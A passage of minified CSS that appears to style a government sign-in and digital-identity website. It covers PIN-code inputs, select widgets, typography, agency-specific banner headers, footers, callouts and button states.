2px}.chosen-rtl.chosen-container-single.chosen-with-drop .chosen-single div b{background-position:-12px 2px}@media only screen and (-webkit-min-device-pixel-ratio:1.5),only screen and (min-resolution:144dpi),only screen and (min-resolution:1.5dppx){.chosen-rtl .chosen-search input[type="text"],.chosen-container-single .chosen-single abbr,.chosen-container-single .chosen-single div b,.chosen-container-single .chosen-search input[type="text"],.chosen-container-multi .chosen-choices .search-choice .search-choice-close,.chosen-container .chosen-results-scroll-down span,.chosen-container .chosen-results-scroll-up span{background-image:url("../icons/chosen-sprite@2x.png")!important;background-size:52px 37px!important;background-repeat:no-repeat!important}}.pincode-input-container{display:inline-block}.pincode-input-container input.first{border-top-right-radius:0;border-bottom-right-radius:0}.pincode-input-container input.last{border-top-left-radius:0;border-bottom-left-radius:0;border-left-width:0}.pincode-input-container input.mid{border-radius:0;border-left-width:0}.pincode-input-text,.form-control.pincode-input-text{width:35px;float:left}.pincode-input-error{clear:both}.pincode-input-container.touch .touchwrapper{position:relative;height:34px;margin-right:5px;overflow:hidden}.pincode-input-container.touch .touchwrapper .pincode-input-text{position:absolute;top:0;left:0;right:0;width:100%;display:block;background-color:transparent;background:transparent;letter-spacing:20px}.pincode-input-container.touch .touchwrapper.touch1{width:40px}.pincode-input-container.touch .touchwrapper.touch2{width:65px}.pincode-input-container.touch .touchwrapper.touch3{width:90px}.pincode-input-container.touch .touchwrapper.touch4{width:120px}.pincode-input-container.touch .touchwrapper.touch5{width:150px}.pincode-input-container.touch .touchwrapper.touch6{width:175px}.pincode-input-container.touch .touchwrapper .touchtable{width:100%;height:100%;table-layout:fixed}.pincode-input-container.touch .touchwrapper .touchtable td{border-right:1px solid #ccc}.pincode-input-container.touch .touchwrapper .touchtable td.last{border-right:0}html{color:#333;line-height:1.6;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI","Roboto","Oxygen","Ubuntu","Cantarell","Fira Sans","Droid Sans","Helvetica Neue",sans-serif;font-weight:400}body{font-size:1.125rem}h1,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title,h4{line-height:1.4;font-weight:400;margin-bottom:.4em}h1{font-size:1.75rem;font-weight:700;margin-bottom:0}h1:first-of-type{margin-top:1.5rem}h2,.display{font-size:1.375rem;line-height:1.2;margin-bottom:.5em}h2:first-of-type,.display:first-of-type{margin-top:1.2em}h2.bold,.bold.display{font-weight:700}h2.bold:nth-of-type(2n),.bold.display:nth-of-type(2n){margin-top:2em}h3,#poro-form #modal-title,.poro-form #modal-title{font-size:1.125rem;font-weight:700;margin-bottom:.8em}h4,h5,h6{font-size:1rem;font-weight:700}@media screen and (min-width:992px){.content-main h1,.content-main h2,.content-main .display,.content-main h3,.content-main #poro-form #modal-title,#poro-form .content-main #modal-title,.content-main .poro-form #modal-title,.poro-form .content-main #modal-title,.content-main h4,.content-main h5,.content-main p,.content-main li,.content-main dl{max-width:38rem}.content-main .content-full-width{max-width:none;width:100%}}strong{font-weight:700}strong.very-bold{font-weight:700}hr{border:1px solid #999;border-bottom:0;margin-bottom:0}ul,ol{padding-left:2.4em}ul ul,ol ul{list-style-type:disc}ul,ol,dl,p,dt,dd{margin-bottom:1rem;line-height:1.6em}li{margin-bottom:.53333em}li ul,li ol{margin-bottom:0}ul.no-bullets{list-style-type:none;margin:0;padding-left:1.2em}dt{display:inline-block;font-weight:700}dt:first-of-type{margin-top:0}.callout,.callout--warning{margin:1.6em .8em;padding:1.2em 1.2em 1.2em 1.6em;border-radius:1px;box-shadow:0 0 8px #ccc}.callout--warning{border-left:.4em solid #b7202d;padding-left:1.2em}.badge--default{display:inline-block;background-color:#999;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--error{display:inline-block;background-color:#b7202d;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:white;font-size:.875rem}.badge--success{display:inline-block;background-color:#026540;border-radius:12px;padding:.4em .8em;line-height:1;letter-spacing:1px;color:#e7fff6;font-size:.875rem}article h1:first-of-type{margin-top:0}.is-visuallyhidden{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;background-color:#fff!important;color:#333!important}.visiblity-hidden{visibility:hidden}.hidden{display:none}.ua-notification{display:block;padding:.8em;text-align:center;background-color:#f80;color:#333;font-size:1.0625rem;margin-bottom:0}@media print{*,*::before,*::after,*::first-letter ,*::first-line {background:transparent;color:#333;box-shadow:none;text-shadow:none}a,a:visited{text-decoration:underline}a[href]::after{content:" (" attr(href) ")"}abbr[title]::after{content:" (" attr(title) ")"}a[href^='#']::after,a[href^='javascript:']::after{content:''}pre,blockquote{border:1px solid #ccc;page-break-inside:avoid}thead{display:table-header-group}tr,img{page-break-inside:avoid}img{max-width:100%}p,h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{orphans:3;widows:3}h2,.display,h3,#poro-form #modal-title,.poro-form #modal-title{page-break-after:avoid}}html{height:100%;min-width:300px}body{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-orient:vertical;-webkit-box-direction:normal;-webkit-flex-direction:column;-ms-flex-direction:column;flex-direction:column;height:100%}body>header,body>footer{-webkit-box-flex:0;-webkit-flex:none;-ms-flex:none;flex:none}body>.wrapper,.wrapper-mapwap,.wrapper-integration,.wrapper-integration-mapwap{-webkit-box-flex:1;-webkit-flex:1 0 auto;-ms-flex:1 0 auto;flex:1 0 auto;width:100%;display:inline-block}body>.wrapper::after,.wrapper-mapwap::after,.wrapper-integration::after,.wrapper-integration-mapwap::after{content:'\00a0';height:0;visibility:hidden}@media screen and (min-width:992px){.main-block{max-width:900px;margin-left:auto;margin-right:auto}.main-block::after{clear:both;content:"";display:block}}.wrapper{padding:0 1em}@media screen and (min-width:576px){.wrapper{padding:0 2em}}.wrapper-mapwap{padding:0 1em}.wrapper-mapwap .main-block{max-width:400px;margin-left:auto;margin-right:auto}.wrapper-mapwap .main-block .pin-fields2{text-align:center}.wrapper-mapwap .main-block .pin-fields3{text-align:center}@media screen and (min-width:576px){.wrapper-mapwap .main-block{padding:0 2em;max-width:600px}}.uikit-skip-link{display:block}header[role='banner']{background-color:#026540;border-bottom:4px solid #026540;min-height:80px}header[role='banner'] .inner,header[role='banner'] .unauth .product-description .digital-id-inner,.unauth .product-description header[role='banner'] .digital-id-inner{position:relative}@media screen and (min-width:992px){header[role='banner'] .inner,header[role='banner'] .unauth .product-description .digital-id-inner,.unauth .product-description header[role='banner'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}header[role='banner'] .inner::after,header[role='banner'] .unauth .product-description .digital-id-inner::after,.unauth .product-description header[role='banner'] .digital-id-inner::after{clear:both;content:"";display:block}}header[role='banner'] .header-logo{display:inline-block;position:absolute;left:0;right:10%;margin-right:1em;margin:0 auto;width:90px;top:31px}@media screen and (min-width:576px){header[role='banner'] .header-logo{width:112px;right:0}}@media screen and (min-width:768px){header[role='banner'] .header-logo{width:135px}}@media screen and (min-width:768px){header[role='banner'] .header-logo{left:0;float:left;position:relative;top:22px}}header[role='banner'] .header-logo a{display:inline-block;border-bottom:0;height:35px;width:100%}@media screen and (min-width:768px){header[role='banner'] .header-logo a{height:40px}}header[role='banner'] .header-logo a:hover,header[role='banner'] .header-logo a:active{background:0}header[role='banner'] .header-logo a span{color:#fff}header[role='banner'] .header-logo a .govFont{color:#d7ea6a}header[role='banner'] .header-logo a:focus{outline:0;outline:3px solid #fff;outline-offset:2px;background-color:#01462c;-webkit-transition:background-color .05s;transition:background-color .05s}header[role='banner'] .header-logout{background-color:#026540;color:#fff;font-size:1rem;line-height:1.4;padding:11px;position:absolute;right:0;text-decoration:none;top:16px;margin:1px;width:5.5em;height:auto;-webkit-appearance:button;-moz-appearance:button;-o-appearance:button;-ms-appearance:button;appearance:button}header[role='banner'] .header-logout:before{margin-left:1em}header[role='banner'] .header-logout:after{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:44px;border:2px solid #fff}header[role='banner'] .header-logout:hover,header[role='banner'] .header-logout:focus{border:2px solid;text-decoration:underline;background:0}header[role='banner'] .header-logout:focus{outline:3px solid #fff;background-color:#01462c}header[role='banner'] .header-logout:hover{border-color:#fff}header[role='banner'] .header-logout:active{-webkit-transition:background-color .05s;transition:background-color .05s;outline:0}header #close{float:right;width:36px}@media screen and (min-width:576px){header #close{width:40px}}header #agency-header-logo{float:left;width:160px}@media screen and (min-width:576px){header #agency-header-logo{width:200px}}.authAppHeader{background-color:#026540;height:64px}.authAppHeader .header-img{color:white}.codeGenHeader{background-color:#026540;height:64px}.codeGenHeader .header-img{color:white}.exchangeHeader{background-color:#026540}.exchangeHeader .header-img{color:white}.clkWapHeader{background-color:black;height:64px}@media screen and (min-width:576px){.clkWapHeader{height:80px}}.clkWapHeader .header-img{color:white}.clkMapHeader{background-color:#4c6b9d;height:64px}@media screen and (min-width:576px){.clkMapHeader{height:80px}}.clkMapHeader .header-img{color:white}.csaHeader{background-color:#6b2482;height:64px}@media screen and (min-width:576px){.csaHeader{height:80px}}.csaHeader .header-img{color:white}.dvaHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.dvaHeader{height:80px}}.dvaHeader .header-img{color:black}.dhhsHeader{background-color:#eee;height:105px}.dhhsHeader .header-img{color:black}@media screen and (min-width:576px){.dhhsHeader{height:120px}}.ehrHeader{background-color:#eee;height:100px}@media screen and (min-width:576px){.ehrHeader{height:120px}}.ehrHeader #agency-header-logo{width:280px}.ehrHeader .header-img{color:black}.jobsHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.jobsHeader{height:80px}}.jobsHeader .header-img{color:black}.mcaHeader{background-color:#018643;height:64px}@media screen and (min-width:576px){.mcaHeader{height:80px}}.mcaHeader .header-img{color:white}.redrHeader{background-color:#eee;height:90px}.redrHeader .header-img{color:black}@media screen and (min-width:576px){.redrHeader{height:100px}}.ndisHeader{background-color:#eee;height:64px}@media screen and (min-width:576px){.ndisHeader{height:80px}}.ndisHeader .header-img{color:black}.vicsroHeader{background-color:#eee;height:90px}.vicsroHeader .header-img{color:black}.vicsroHeader #agency-header-logo{width:90px}@media screen and (min-width:576px){.vicsroHeader{height:130px}.vicsroHeader #agency-header-logo{width:150px}}.exchangeHeader{height:64px}.exchangeHeader #agency-header-logo{width:220px}@media screen and (min-width:576px){.exchangeHeader{height:80px}.exchangeHeader #agency-header-logo{width:400px}}.mcaHeader .unauth-grid,.ndisHeader .unauth-grid,.dhhsHeader .unauth-grid,.dvaHeader .unauth-grid,.redrHeader .unauth-grid,.clkWapHeader .unauth-grid,.clkMapHeader .unauth-grid,.authAppHeader .unauth-grid,.codeGenHeader .unauth-grid,.jobsHeader .unauth-grid,.ehrHeader .unauth-grid,.vicsroHeader .unauth-grid,.exchangeHeader .unauth-grid,.csaHeader .unauth-grid{margin-top:1em}.mcaHeader .inner,.mcaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .mcaHeader .digital-id-inner,.ndisHeader .inner,.ndisHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ndisHeader .digital-id-inner,.dhhsHeader .inner,.dhhsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dhhsHeader .digital-id-inner,.dvaHeader .inner,.dvaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dvaHeader .digital-id-inner,.redrHeader .inner,.redrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .redrHeader .digital-id-inner,.clkWapHeader .inner,.clkWapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkWapHeader .digital-id-inner,.clkMapHeader .inner,.clkMapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkMapHeader .digital-id-inner,.authAppHeader .inner,.authAppHeader .unauth .product-description .digital-id-inner,.unauth .product-description .authAppHeader .digital-id-inner,.codeGenHeader .inner,.codeGenHeader .unauth .product-description .digital-id-inner,.unauth .product-description .codeGenHeader .digital-id-inner,.jobsHeader .inner,.jobsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .jobsHeader .digital-id-inner,.ehrHeader .inner,.ehrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ehrHeader .digital-id-inner,.vicsroHeader .inner,.vicsroHeader .unauth .product-description .digital-id-inner,.unauth .product-description .vicsroHeader .digital-id-inner,.exchangeHeader .inner,.exchangeHeader .unauth .product-description .digital-id-inner,.unauth .product-description .exchangeHeader .digital-id-inner,.csaHeader .inner,.csaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .csaHeader .digital-id-inner{position:relative}@media screen and (min-width:992px){.mcaHeader .inner,.mcaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .mcaHeader .digital-id-inner,.ndisHeader .inner,.ndisHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ndisHeader .digital-id-inner,.dhhsHeader .inner,.dhhsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dhhsHeader .digital-id-inner,.dvaHeader .inner,.dvaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .dvaHeader .digital-id-inner,.redrHeader .inner,.redrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .redrHeader .digital-id-inner,.clkWapHeader .inner,.clkWapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkWapHeader .digital-id-inner,.clkMapHeader .inner,.clkMapHeader .unauth .product-description .digital-id-inner,.unauth .product-description .clkMapHeader .digital-id-inner,.authAppHeader .inner,.authAppHeader .unauth .product-description .digital-id-inner,.unauth .product-description .authAppHeader .digital-id-inner,.codeGenHeader .inner,.codeGenHeader .unauth .product-description .digital-id-inner,.unauth .product-description .codeGenHeader .digital-id-inner,.jobsHeader .inner,.jobsHeader .unauth .product-description .digital-id-inner,.unauth .product-description .jobsHeader .digital-id-inner,.ehrHeader .inner,.ehrHeader .unauth .product-description .digital-id-inner,.unauth .product-description .ehrHeader .digital-id-inner,.vicsroHeader .inner,.vicsroHeader .unauth .product-description .digital-id-inner,.unauth .product-description .vicsroHeader .digital-id-inner,.exchangeHeader .inner,.exchangeHeader .unauth .product-description .digital-id-inner,.unauth .product-description .exchangeHeader .digital-id-inner,.csaHeader .inner,.csaHeader .unauth .product-description .digital-id-inner,.unauth .product-description .csaHeader .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}.mcaHeader .inner::after,.mcaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .mcaHeader .digital-id-inner::after,.ndisHeader .inner::after,.ndisHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .ndisHeader .digital-id-inner::after,.dhhsHeader .inner::after,.dhhsHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .dhhsHeader .digital-id-inner::after,.dvaHeader .inner::after,.dvaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .dvaHeader .digital-id-inner::after,.redrHeader .inner::after,.redrHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .redrHeader .digital-id-inner::after,.clkWapHeader .inner::after,.clkWapHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .clkWapHeader .digital-id-inner::after,.clkMapHeader .inner::after,.clkMapHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .clkMapHeader .digital-id-inner::after,.authAppHeader .inner::after,.authAppHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .authAppHeader .digital-id-inner::after,.codeGenHeader .inner::after,.codeGenHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .codeGenHeader .digital-id-inner::after,.jobsHeader .inner::after,.jobsHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .jobsHeader .digital-id-inner::after,.ehrHeader .inner::after,.ehrHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .ehrHeader .digital-id-inner::after,.vicsroHeader .inner::after,.vicsroHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .vicsroHeader .digital-id-inner::after,.exchangeHeader .inner::after,.exchangeHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .exchangeHeader .digital-id-inner::after,.csaHeader .inner::after,.csaHeader .unauth .product-description .digital-id-inner::after,.unauth .product-description .csaHeader .digital-id-inner::after{clear:both;content:"";display:block}}.mcaHeader .header-img,.ndisHeader .header-img,.dhhsHeader .header-img,.dvaHeader .header-img,.redrHeader .header-img,.clkWapHeader .header-img,.clkMapHeader .header-img,.authAppHeader .header-img,.codeGenHeader .header-img,.jobsHeader .header-img,.ehrHeader .header-img,.vicsroHeader .header-img,.exchangeHeader .header-img,.csaHeader .header-img{display:block}.mcaHeader .unauth-grid-row,.ndisHeader .unauth-grid-row,.dhhsHeader .unauth-grid-row,.dvaHeader .unauth-grid-row,.redrHeader .unauth-grid-row,.clkWapHeader .unauth-grid-row,.clkMapHeader .unauth-grid-row,.authAppHeader .unauth-grid-row,.codeGenHeader .unauth-grid-row,.jobsHeader .unauth-grid-row,.ehrHeader .unauth-grid-row,.vicsroHeader .unauth-grid-row,.exchangeHeader .unauth-grid-row,.csaHeader .unauth-grid-row{text-align:left}.mcaHeader a,.ndisHeader a,.dhhsHeader a,.dvaHeader a,.redrHeader a,.clkWapHeader a,.clkMapHeader a,.authAppHeader a,.codeGenHeader a,.jobsHeader a,.ehrHeader a,.vicsroHeader a,.exchangeHeader a,.csaHeader a{border-bottom:0;float:right;display:block}.mcaHeader a:hover,.ndisHeader a:hover,.dhhsHeader a:hover,.dvaHeader a:hover,.redrHeader a:hover,.clkWapHeader a:hover,.clkMapHeader a:hover,.authAppHeader a:hover,.codeGenHeader a:hover,.jobsHeader a:hover,.ehrHeader a:hover,.vicsroHeader a:hover,.exchangeHeader a:hover,.csaHeader a:hover{background:0}footer[role='contentinfo']{background-color:#eee;border-top:4px solid #333;margin-top:72px}footer[role='contentinfo'] .inner,footer[role='contentinfo'] .unauth .product-description .digital-id-inner,.unauth .product-description footer[role='contentinfo'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}@media screen and (min-width:992px){footer[role='contentinfo'] .inner,footer[role='contentinfo'] .unauth .product-description .digital-id-inner,.unauth .product-description footer[role='contentinfo'] .digital-id-inner{max-width:900px;margin-left:auto;margin-right:auto}footer[role='contentinfo'] .inner::after,footer[role='contentinfo'] .unauth .product-description .digital-id-inner::after,.unauth .product-description footer[role='contentinfo'] .digital-id-inner::after{clear:both;content:"";display:block}}footer[role='contentinfo'] ul{margin-bottom:1em;padding:0}footer[role='contentinfo'] li{list-style:none}footer[role='contentinfo'] .footer-logo{border-top:1px solid #999;padding-top:1em;padding-bottom:1em}footer[role='contentinfo'] .footer-links{margin:1em auto}footer[role='contentinfo'] .footer-links ul{-webkit-columns:2;-moz-columns:2;columns:2}footer[role='contentinfo'] .footer-links li{display:block;margin-right:.8em}footer[role='contentinfo'] .footer-links a{display:inline-block;margin-top:5px;color:#0f6493}footer[role='contentinfo'] .map-footer-links{margin:1em auto}footer[role='contentinfo'] .map-footer-links li{display:block}@media screen and (min-width:576px){footer[role='contentinfo'] .map-footer-links li{margin-right:.8em;-webkit-box-flex:0;-webkit-flex:0 1 -webkit-calc(33.33% - .8em);-ms-flex:0 1 calc(33.33% - .8em);flex:0 1 calc(33.33% - .8em)}footer[role='contentinfo'] .map-footer-links li:nth-child(3n+2){text-align:center}footer[role='contentinfo'] .map-footer-links li:nth-child(3n+3),footer[role='contentinfo'] .map-footer-links li:nth-child(2):last-child{margin-left:auto;text-align:right}}footer[role='contentinfo'] .map-footer-links a{display:inline-block;margin-top:5px;color:#0f6493}@media screen and (min-width:576px){footer[role='contentinfo'] .map-footer-links ul{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap;margin-right:-0.8em}}.badge{border:1px solid #999;border-radius:4px;display:inline-block;padding:.2em .5em}.beta-badge{background-color:#fff;color:#0f6493;font-size:12px;font-weight:900;letter-spacing:2px;padding-left:9px;padding-right:7px;padding-top:2px;padding-bottom:2px;border-radius:50em}#back-to-top{position:relative}#back-to-top:hover,#back-to-top:active{color:#fff;background-color:#0f6493;text-decoration:none}#back-to-top::after{background-image:url("../icons/panel-icon.svg");background-position:50% 50%;background-repeat:no-repeat;position:absolute;height:1.6em;width:1.25em;right:-1.25em;top:0;content:''}.callout-2{background-color:#ebf5fb;padding:1em;border-top:4px solid #0f6493;position:relative;margin-top:1.2em}.callout-2 img#lightbulbicon{max-width:40px;vertical-align:middle}.callout-3{background-color:#ebf5fb;padding-left:1em;padding-bottom:1em;position:relative;margin-top:1.2em}.callout-3 img#infoicon{max-width:40px;margin-right:.5em}.callout-3 p{margin:0}.callout-3 h3,.callout-3 #poro-form #modal-title,#poro-form .callout-3 #modal-title,.callout-3 .poro-form #modal-title,.poro-form .callout-3 #modal-title{margin-left:0}.callout-dxp-block{color:white;background-color:#183052}.callout-dxp{margin:2em;position:relative;max-width:900px}@media screen and (min-width:992px){.callout-dxp{margin:auto}}.callout-dxp h3,.callout-dxp #poro-form #modal-title,#poro-form .callout-dxp #modal-title,.callout-dxp .poro-form #modal-title,.poro-form .callout-dxp #modal-title{margin:2em 0 1em 0}.callout-dxp img{display:block}@media screen and (min-width:768px){.callout-dxp img{margin:2.5em;float:right}}.callout-dxp p{margin:0}.callout-dxp a{margin:1em 0 2em 0;color:white;border-bottom:solid 1px white}.callout-dxp-static{margin:0}.callout-dxp-static h3,.callout-dxp-static #poro-form #modal-title,#poro-form .callout-dxp-static #modal-title,.callout-dxp-static .poro-form #modal-title,.poro-form .callout-dxp-static #modal-title{margin:2em 0 1em 0}.callout-dxp-static p{margin:0}.callout-dxp-static a{margin:1em 0 2em 0}.did-you-know-title{font-weight:bold;font-size:1.1em;margin-bottom:0;margin-left:.5em;margin-top:0;vertical-align:middle;display:inline-block}button,.button,[role='button'],[type='submit'],[type='reset'],[type='button']{-webkit-appearance:none;-moz-appearance:none;appearance:none;display:inline-block;height:3.2em;margin:0 1.6em .8em 0;padding:.8em 1.6em;border-radius:1px;border-width:1px;border-style:solid;border-color:inherit;outline:0;text-decoration:none;font-size:1.125rem;width:100%;text-align:center;position:relative}@media screen and (min-width:992px){button,.button,[role='button'],[type='submit'],[type='reset'],[type='button']{width:auto}}button[disabled],button.disabled,.button[disabled],.button.disabled,[role='button'][disabled],[role='button'].disabled,[type='submit'][disabled],[type='submit'].disabled,[type='reset'][disabled],[type='reset'].disabled,[type='button'][disabled],[type='button'].disabled{color:#fff}button[disabled],button[disabled]:hover,button[disabled]:active,button[disabled]:focus,button.disabled,button.disabled:hover,button.disabled:active,button.disabled:focus,.button[disabled],.button[disabled]:hover,.button[disabled]:active,.button[disabled]:focus,.button.disabled,.button.disabled:hover,.button.disabled:active,.button.disabled:focus,[role='button'][disabled],[role='button'][disabled]:hover,[role='button'][disabled]:active,[role='button'][disabled]:focus,[role='button'].disabled,[role='button'].disabled:hover,[role='button'].disabled:active,[role='button'].disabled:focus,[type='submit'][disabled],[type='submit'][disabled]:hover,[type='submit'][disabled]:active,[type='submit'][disabled]:focus,[type='submit'].disabled,[type='submit'].disabled:hover,[type='submit'].disabled:active,[type='submit'].disabled:focus,[type='reset'][disabled],[type='reset'][disabled]:hover,[type='reset'][disabled]:active,[type='reset'][disabled]:focus,[type='reset'].disabled,[type='reset'].disabled:hover,[type='reset'].disabled:active,[type='reset'].disabled:focus,[type='button'][disabled],[type='button'][disabled]:hover,[type='button'][disabled]:active,[type='button'][disabled]:focus,[type='button'].disabled,[type='button'].disabled:hover,[type='button'].disabled:active,[type='button'].disabled:focus{cursor:pointer;color:#fff}.button-digital-id-container{display:inline-block;width:100%}.button-digital-id-container .button-digital-id{display:inline-table}.button-digital-id-container .button,.button-digital-id-container button,.button-digital-id-container a{width:100%;padding:.8em 0}.button-digital-id-main-container{margin-top:.5em}@media screen and (min-width:320px){.button-digital-id-main-container{margin-top:2em}}.button-container,.button-digital-id-main-container,.button-container-nomargin{margin-top:2em;display:inline-block;width:100%}.button-container-mapwap-full-width .button,.button-container-mapwap-full-width button,.button-container-mapwap-full-width a{margin-top:2em;width:100%}.button-container-mapwap-full-width .button-main,.button-container-mapwap-full-width .button-minor,.button-container-mapwap-full-width button-main,.button-container-mapwap-full-width button-minor,.button-container-mapwap-full-width a-main,.button-container-mapwap-full-width a-minor{width:100%}.button-container-exchange-web-login .button,.button-container-exchange-web-login button,.button-container-exchange-web-login a{margin-top:2em;width:100%;font-size:1em;padding:.5em 0}.button-container-exchange-web-login .button-main,.button-container-exchange-web-login .button-minor,.button-container-exchange-web-login button-main,.button-container-exchange-web-login button-minor,.button-container-exchange-web-login a-main,.button-container-exchange-web-login a-minor{width:100%}.button-container-mapwap{margin-top:2em;display:inline-block;width:100%}.button-container-mapwap .button{padding:.7em;width:46%}.button-container-mapwap .button:nth-child(2){margin-right:0;float:right}.button-container-centered{display:block}.button-container-centered .button:first-child,.button-container-centered button:first-child{display:block;margin:0 auto}.button-container-nomargin{margin:0}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2),.button-container-nomargin .button:nth-child(2){margin-right:0;float:right}.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button{width:43%;padding:.7em}.button-container .button-auto,.button-digital-id-main-container .button-auto,.button-container-nomargin .button-auto{width:auto;height:auto;padding:.7em;display:block}@media screen and (min-width:576px){.button-container .button-auto,.button-digital-id-main-container .button-auto,.button-container-nomargin .button-auto{display:inline-block}}.button-container .button-auto:nth-child(2),.button-digital-id-main-container .button-auto:nth-child(2),.button-container-nomargin .button-auto:nth-child(2){margin-top:1em;margin-left:0}@media screen and (min-width:576px){.button-container .button-auto:nth-child(2),.button-digital-id-main-container .button-auto:nth-child(2),.button-container-nomargin .button-auto:nth-child(2){margin-left:1em;margin-top:0}}@media screen and (min-width:768px){.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button,.button-container button,.button-digital-id-main-container button,.button-container-nomargin button{height:3em;width:auto;margin-right:1.6em}.button-container .button:nth-child(2),.button-digital-id-main-container .button:nth-child(2),.button-container-nomargin .button:nth-child(2){float:none}.button-container .button,.button-digital-id-main-container .button,.button-container-nomargin .button{padding-right:1.6em;padding-left:1.6em}}.button-container button:first-child,.button-digital-id-main-container button:first-child,.button-container-nomargin button:first-child{margin-bottom:1.2em}.button-container+button,.button-digital-id-main-container+button,.button-container-nomargin+button{float:right;margin:0}.button-container .digital-id-button-container button:first-child,.button-digital-id-main-container .digital-id-button-container button:first-child,.button-container-nomargin .digital-id-button-container button:first-child{margin-bottom:0}.button-main,.button-minor,.button-danger,.button-modal-main,.button-digital-id-toggle{color:#fff;height:3em;width:100%;border:1px solid transparent;-webkit-font-smoothing:antialiased;text-align:center;margin:1px;position:relative}@media screen and (min-width:576px){.button-main,.button-minor,.button-danger,.button-modal-main,.button-digital-id-toggle{width:auto;padding-left:3em;padding-right:3em}}.button-main:hover,.button-minor:hover,.button-danger:hover,.button-modal-main:hover,.button-digital-id-toggle:hover{text-decoration:underline}.button-main:focus,.button-main:active,.button-minor:focus,.button-minor:active,.button-danger:focus,.button-danger:active,.button-modal-main:focus,.button-modal-main:active,.button-digital-id-toggle:focus,.button-digital-id-toggle:active{text-decoration:underline}.button-digital-id-toggle{height:auto}@media(max-width:320px){.button-digital-id-toggle{padding-left:0;padding-right:0}}.button-main,.button-modal-main,.button-digital-id-toggle{background-color:#333}.button-main:active,.button-main:hover,.button-main:focus,.button-modal-main:active,.button-modal-main:hover,.button-modal-main:focus,.button-digital-id-toggle:active,.button-digital-id-toggle:hover,.button-digital-id-toggle:focus{background-color:#222}.button-digital-id{color:#fff;background-color:#0f6493}.button-digital-id:active,.button-digital-id:hover,.button-digital-id:focus{background-color:#08537d}.button-main-mapwap{height:50px;height:3.125rem;text-decoration:none;background-color:#254a7e;border-radius:.3125rem;color:#fff;font-size:1rem;font-weight:500;min-width:10rem;border-radius:5px;border-radius:.3125rem;height:48px;height:3rem;color:#172f50;background-color:#99e1f3;border:0;width:100%}.button-main-mapwap:hover{text-decoration:none;background-color:#183052;color:#fff}.button-main-mapwap:focus{background-color:#183052;outline:.25rem solid #183052;outline-offset:.125rem}.button-main-mapwap:hover{color:#fff;background-color:#254a7e}.button-main-mapwap:focus{outline-width:2px;outline-width:.125rem;color:#172f50;background-color:#99e1f3}.button-minor{color:#333;background-color:#fff;margin:1px;border:1px solid #999}.button-minor:active,.button-minor:focus{background-color:#eee}.button-minor:hover{border-color:#333;background-color:#fff;color:#333}.button-danger{background-color:#b7202d}.button-danger:active,.button-danger:hover,.button-danger:focus{background-color:#a11c28}.button-tertiary{color:#0f6493;text-align:center;display:block}@media screen and (min-width:576px){.button-tertiary{width:initial;padding:.8em 3em;display:inline-block}}.anchor{border:0;white-space:normal;display:inline-block;font:inherit;margin:0;padding:0;outline:0;outline-offset:0;color:#0f6493;cursor:pointer;background-color:white;text-decoration:underline;text-align:center;width:auto;height:auto}.anchor:hover{color:#fff;background-color:#0f6493}.anchor:focus{background-color:#fff;color:#0f6493}body>main button,body>main .button,body>main [role='button'],body>main [type='submit'],body>main [type='reset'],body>main [type='button']{background-color:#333;color:#fff;border-color:#333;text-align:center}body>main button:before,body>main .button:before,body>main [role='button']:before,body>main [type='submit']:before,body>main [type='reset']:before,body>main [type='button']:before{content:"";position:absolute;top:0;left:0;display:block;width:100%;height:100%}body>main button:hover,body>main button:focus,body>main .button:hover,body>main .button:focus,body>main [role='button']:hover,body>main [role='button']:focus,body>main [type='submit']:hover,body>main [type='submit']:focus,body>main [type='reset']:hover,body>main [type='reset']:focus,body>main [type='button']:hover,body>main [type='button']:focus{background-color:#333;color:#fff}body>main button:active,body>main .button:active,body>main [role='button']:active,body>main [type='submit']:active,body>main [type='reset']:active,body>main [type='button']:active{background-color:#222}footer[role='contentinfo'] button,footer[role='contentinfo'] .button,footer[role='contentinfo'] 